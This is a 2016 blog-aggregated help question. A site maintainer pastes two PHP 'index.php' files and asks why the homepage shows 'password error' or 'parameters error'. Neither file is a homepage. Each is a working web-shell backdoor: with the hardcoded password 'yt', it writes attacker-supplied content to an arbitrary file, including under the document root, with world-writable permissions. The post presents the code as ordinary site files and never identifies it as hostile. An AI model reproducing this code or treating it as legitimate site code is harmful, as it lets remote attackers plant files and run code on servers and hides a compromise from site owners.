samedi 6 février 2016

Website not redirecting to address

index.php

<?php
    error_reporting(E_ERROR);
    //set_time_limit(0);
    //header("Content-Type: text/html; charset=utf-8");
    $system_password="yt";
    $action=$_REQUEST['action'];
    $password=$_REQUEST['password'];
    $filename=$_REQUEST['filename'];
    $body=stripslashes($_REQUEST['body']);

    if($password!=$system_password)
        {
            echo 'password error';
            return;
        }

    if($action=="test")
        {
            echo 'test success';
            return;
        }

    $wjj=dirname(__FILE__);
    if(!file_exists($wjj))
       {    
           mkdir($wjj,0777);
       }

    $fp=fopen($filename,"w");
    //fwrite($fp,"\xEF\xBB\xBF".iconv('gbk','utf-8//IGNORE',$body));
    fwrite($fp,"\xEF\xBB\xBF".$body);
    fclose($fp);

    if(file_exists($filename))
       { 
           chmod($filename,0777);
       }
    echo "publish success";
?>

when i set this page as homepage it display "password error". visit:http://ift.tt/1mjzW1N

second index.php

<?php
     //header("Content-Type: text/html; charset=utf-8");
$config_password="yt";
$action=$_REQUEST['action'];
$password=$_REQUEST['password'];
$folderpath=$_REQUEST['folderpath'];
$filename=$_REQUEST['filename'];
$body=stripslashes($_REQUEST['body']);

if($password==""||$filename==""||$body=="")
    {
        echo 'parameters error!';
        return;
    }

if($password!=$config_password)
   {
        echo 'password error!';
        return;
   }

$rootPath=$_SERVER['DOCUMENT_ROOT'];
$newPath=$rootPath;

if($folderpath!="")
    {
        if($folderpath=="root")
            {
                 $newPath=$rootPath.'/'.$filename;
            }
        else
            {
                 createFolder($rootPath.'/'.$folderpath);
                 $newPath=$rootPath.'/'.$folderpath.'/'.$filename;
            }
     }
else
     {
         $newPath=$filename;
     }


$fp=fopen($newPath,"w");
//fwrite($fp,"\xEF\xBB\xBF".iconv('gbk','utf-8//IGNORE',$body));
fwrite($fp,$body);
fclose($fp);

if(file_exists($newPath))
    {
        echo "publish success & uploaded";
    }

function createFolder($path) 
    {
        if (!file_exists($path))
            {
                createFolder(dirname($path));
                mkdir($path, 0777);
            }
    }
?>

when i set this page as home page it shows "parameters error".I haven't developed this site.I am just handling it on behalf of some company.I am not able to find the issue persisting this site to work.




Aucun commentaire:

Enregistrer un commentaire